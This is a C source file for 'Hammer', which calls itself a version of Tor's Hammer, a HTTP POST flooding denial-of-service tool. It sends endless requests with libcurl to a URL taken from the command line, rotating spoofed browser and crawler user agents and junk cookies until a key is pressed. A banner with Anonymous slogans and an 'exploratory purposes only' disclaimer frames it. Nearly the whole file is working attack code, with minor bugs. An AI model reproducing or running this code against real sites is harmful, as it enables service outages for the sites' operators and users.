/**
This has no Proxy Support ATM,
use at your own risk. **/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
/**
Terminal Sheets **/
#include <termios.h>
#include <unistd.h>
#include <fcntl.h>
int cookies = 0;
int kbhit(void) {
struct termios oldt, newt;
int ch;
int oldf;
tcgetattr(STDIN_FILENO, &oldt);
newt = oldt;
newt.c_lflag &= ~(ICANON | ECHO);
tcsetattr(STDIN_FILENO, TCSANOW, &newt);
oldf = fcntl(STDIN_FILENO, F_GETFL, 0);
fcntl(STDIN_FILENO, F_SETFL, oldf | O_NONBLOCK);
ch = getchar();
tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
fcntl(STDIN_FILENO, F_SETFL, oldf);
if(ch != EOF) {
ungetc(ch, stdin);
return 1;
}
return 0;
}
void showMSG() {
system("clear");
printf("%s\n%s\n%s\n%s\n\n\n%s\n%s\n%s\n%s\n\n---\n\n",
"/**",
"\tHammer (A Version of Tor's Hammer)",
"\tRapid Post Overflowing Denial of Service",
"\tDo not use on normies or fellow free folk, plz",
"\tFor exploratory purposes only...",
"\tWe are Anonymous, We Are Legion",
"\tWe do not Forgive, We do not Forget",
"\tExpect Us, Jihads\t**/\n\n[Press Any Key to Stop, Lulz]\n");
}
char * randomUser() {
static int i = 0;
char * userAgents[150] = {
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
"Googlebot/2.1 (http://www.googlebot.com/bot.html)",
"Opera/9.20 (Windows NT 6.0; U; en)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
"Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
"Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", // maybe not
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13"
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
"Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
"YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
};
if( i == 19 ) i = 0;
else i++;
return userAgents[i];
}
int attack(char ** arg) {
/**
Setup Variables **/
CURL *curl;
CURLcode res;
int cont = 0,count = 0,static_count = 0;
char post_data[5], cookie_data[5], userInput;
/* In windows, this will init the winsock stuff */
curl_global_init(CURL_GLOBAL_ALL);
/* get a curl handle */
curl = curl_easy_init();
if(curl) {
while(cont == 0) {
static_count++;
count++;
/**
Setup our payload **/
curl_easy_setopt(curl, CURLOPT_URL, arg[1]);
printf("Posting to thread %d\n",
static_count);
for( char a = 'a'; a < ('z' + 1); a++ ) {
post_data[0] = a;
post_data[1] = '=';
post_data[2] = a;
post_data[3] = ';';
post_data[4] = '\0';
for(int j = 0; j < 10; j++) {
curl_easy_setopt(curl, CURLOPT_USERAGENT, randomUser());
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);
if(cookies = 1)
for(char a = 'a'; a < 'z'; a++) {
cookie_data[0] = a;
cookie_data[1] = '=';
cookie_data[2] = a;
cookie_data[3] = ';';
cookie_data[4] = '\0';
curl_easy_setopt(curl, CURLOPT_COOKIE, cookie_data);
}
curl_easy_setopt(curl, CURLOPT_NOBODY, 1);
curl_easy_perform(curl);
}
/**
Check is zie usar wants to stoppen **/
if(kbhit()) {
system("clear");
printf("%s\n%s\n\n",
"/**",
"\tShutting Down... **/");
cont = 1;
}
}
system("sleep 1");
if(res != CURLE_OK) {
fprintf(stderr, "Could not Connect to Host: %s\n",
curl_easy_strerror(res));
//i = 1;
}
if(count == 10)
system("clear");
showMSG();
}
curl_easy_cleanup(curl);
}
curl_global_cleanup();
return 0;
}
int main(int argc, char ** argv) {
showMSG();
attack(argv);
return 0;
}